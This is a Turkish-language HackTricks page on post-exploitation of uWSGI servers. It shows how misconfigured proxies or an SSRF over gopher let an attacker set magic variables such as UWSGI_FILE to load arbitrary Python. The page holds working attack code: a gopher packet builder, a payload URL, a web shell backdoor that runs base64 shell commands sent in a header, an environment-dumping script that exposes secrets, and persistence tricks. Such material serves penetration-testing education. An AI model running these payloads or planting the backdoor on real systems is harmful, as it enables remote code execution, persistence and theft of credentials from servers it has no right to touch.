WSGI Erişim Sonrası Hileleri

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

WSGI Genel Bakış

Web Server Gateway Interface (WSGI), bir web sunucusunun web uygulamalarıyla nasıl iletişim kurduğunu ve bir isteği işlemek için web uygulamalarının nasıl zincirlenebileceğini tanımlayan bir spesifikasyondur. uWSGI, genellikle Python web uygulamalarını servis etmek için kullanılan en popüler WSGI sunucularından biridir. Yerel ikili taşıma yöntemi, backend uygulama sunucusuna bir anahtar/değer parametre kümesi (“uwsgi params”) taşıyan uwsgi protokolüdür (küçük harflerle).

İlgili sayfalar — ayrıca bakmak isteyebileceğiniz:

Werkzeug / Flask Debug

SSRF (Server Side Request Forgery)

uWSGI Magic Değişkenlerinin Sömürülmesi

uWSGI, örneğin bir örneğin uygulamaları nasıl yükleyip yönlendirdiğini değiştirebilen özel “magic variables” sağlar. Bu değişkenler normal HTTP başlıkları değildir — ters proxy’den (nginx, Apache mod_proxy_uwsgi, vb.) uWSGI backend’ine gelen uwsgi/SCGI/FastCGI isteği içinde taşınan uwsgi parametreleridir. Eğer bir proxy yapılandırması kullanıcı kontrolündeki verileri uwsgi parametrelerine eşliyorsa (örneğin $arg_*, $http_* aracılığıyla veya uwsgi protokolü konuşan güvensiz şekilde açık uç noktalar üzerinden), saldırganlar bu değişkenleri ayarlayarak kod çalıştırma elde edebilirler.

Ön proxy’lerde tehlikeli eşlemeler (nginx örneği)

Aşağıdaki gibi yanlış yapılandırmalar uWSGI magic değişkenlerini doğrudan kullanıcı girdisine açar:

location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}

Eğer app veya upload özelliği öngörülebilir bir yol altında dosya yazılmasına izin veriyorsa, bunu yukarıdaki eşlemelerle birleştirmek genellikle backend saldırgan kontrollü dosya/modül yüklendiğinde anında RCE ile sonuçlanır.

Kilit Sömürülebilir Değişkenler

UWSGI_FILE - Keyfi Dosya Yükleme/Çalıştırma

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Rastgele bir Python dosyasını WSGI uygulaması olarak yükler ve çalıştırır. Bir saldırgan bu parametreyi uwsgi param bag üzerinden kontrol edebilirse, Remote Code Execution (RCE) elde edebilir.

UWSGI_SCRIPT - Betik Yükleme

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE.

UWSGI_MODULE and UWSGI_CALLABLE - Dynamic Module Loading

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Bu parametreler, rastgele Python modüllerinin yüklenmesine ve içlerindeki belirli fonksiyonların çağrılmasına izin verir.

UWSGI_SETENV - Ortam Değişkeni Manipülasyonu

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Ortam değişkenlerini değiştirmek için kullanılabilir; bu, uygulama davranışını etkileyebilir veya kötü amaçlı yapılandırma yüklenmesine yol açabilir.

UWSGI_PYHOME - Python Ortamı Manipülasyonu

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Python sanal ortamını değiştirir; potansiyel olarak kötü amaçlı paketler veya farklı Python yorumlayıcıları yükleyebilir.

UWSGI_CHDIR - Dizin Değişikliği

uwsgi_param UWSGI_CHDIR /etc/;

İstekleri işlemeye başlamadan önce çalışma dizinini değiştirir ve diğer özelliklerle birleştirilebilir.

SSRF + uwsgi protocol (gopher) pivot

Tehdit modeli

Hedef web uygulaması bir SSRF primitive’si açığa çıkarıyor ve uWSGI instance’ı dahili bir TCP soketinde dinliyorsa (örneğin, socket = 127.0.0.1:3031), gopher üzerinden ham uwsgi protokolü ile konuşabilir ve uWSGI sihirli değişkenlerini enjekte edebilirsiniz.

Bu mümkün çünkü birçok dağıtım dahili olarak non-HTTP uwsgi socket kullanır; reverse proxy (nginx/Apache) istemci HTTP’sini uwsgi param torbasına çevirir. SSRF+gopher ile uwsgi ikili paketini doğrudan oluşturup UWSGI_FILE gibi tehlikeli değişkenleri ayarlayabilirsiniz.

uWSGI protokol yapısı (kısa referans)

  • Başlık (4 bayt): modifier1 (1 byte), datasize (2 bytes little-endian), modifier2 (1 byte)
  • Gövde: sequence of [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]

Standart isteklerde modifier1 0’dır. Gövde SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE, vb. gibi uwsgi parametrelerini içerir. Tam detaylar için resmi protokol spesifikasyonuna bakın.

Minimal paket oluşturucu (gopher payload oluşturma)

import struct, urllib.parse

def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)

# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Sunucuda daha önce yazılmış bir dosyayı zorla yüklemek için örnek kullanım:

params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))

Oluşturulan URL’yi SSRF sinkine gönderin.

Çözümlü örnek

Eğer diske python bir dosya yazabiliyorsanız (uzantısı önemli değil) aşağıdaki gibi kodla:

# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')

def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']

Bu path’e UWSGI_FILE değerini ayarlayan bir gopher payload oluşturun ve tetikleyin. Backend bunu import edip WSGI app olarak çalıştıracaktır.

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

# backdoor.py
import subprocess, base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Bunu UWSGI_FILE ile yükleyin ve seçtiğiniz bir SCRIPT_NAME altında erişin.

Ortam tabanlı kalıcılık

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;

2. Bilgi Açığa Çıkması

Ortam Değişkenlerinin Dökümü

# env_dump.py
import os, json

def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Dosya Sistemi Erişimi

Hassas dizinleri gezmek için UWSGI_CHDIR’i bir dosya sunma aracıyla birleştirin.

3. Privilege Escalation fikirleri

  • Eğer uWSGI yükseltilmiş ayrıcalıklarla çalışıyor ve root tarafından sahip olunan sockets/pids yazıyorsa, env ve dizin değişikliklerini kötüye kullanmak ayrıcalıklı sahipliğe sahip dosyalar bırakmanıza veya runtime durumunu manipüle etmenize yardımcı olabilir.
  • UWSGI_FILE aracılığıyla yüklenen bir dosya içinde environment (UWSGI_*) üzerinden yapılandırmayı geçersiz kılmak, işlem modelini ve worker’ları etkileyerek kalıcılığı daha gizli hale getirebilir.
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

uWSGI zincirleriyle ilgili reverse-proxy desync sorunları (güncel)

Apache httpd ile mod_proxy_uwsgi kullanan dağıtımlarda, frontend↔backend çeviri katmanını etkileyebilen response-splitting/desynchronization hataları son zamanlarda görüldü:

  • CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; ayrıca uWSGI entegrasyonunu 2.0.22/2.0.26 düzeltmelerinden önce etkileyen): özenle oluşturulmuş origin response header’ları mod_proxy_uwsgi kullanıldığında HTTP response smuggling’e yol açabilir. Apache’yi ≥2.4.56’ya yükseltmek sorunu hafifletir.
  • CVE-2024-24795 (Apache httpd 2.4.59’ta düzeltildi; uWSGI 2.0.26 Apache entegrasyonunu ayarladı): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”

Bunlar doğrudan uWSGI’de RCE sağlamaz, fakat uç vakalarda header injection veya SSRF ile zincirlenerek uwsgi backend’e pivot yapmaya olanak verebilir. Testler sırasında proxy ve sürümü fingerprint’leyin ve desync/smuggling primitives’i sadece backend’e açık rota ve soketlere giriş için bir olasılık olarak değerlendirin.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin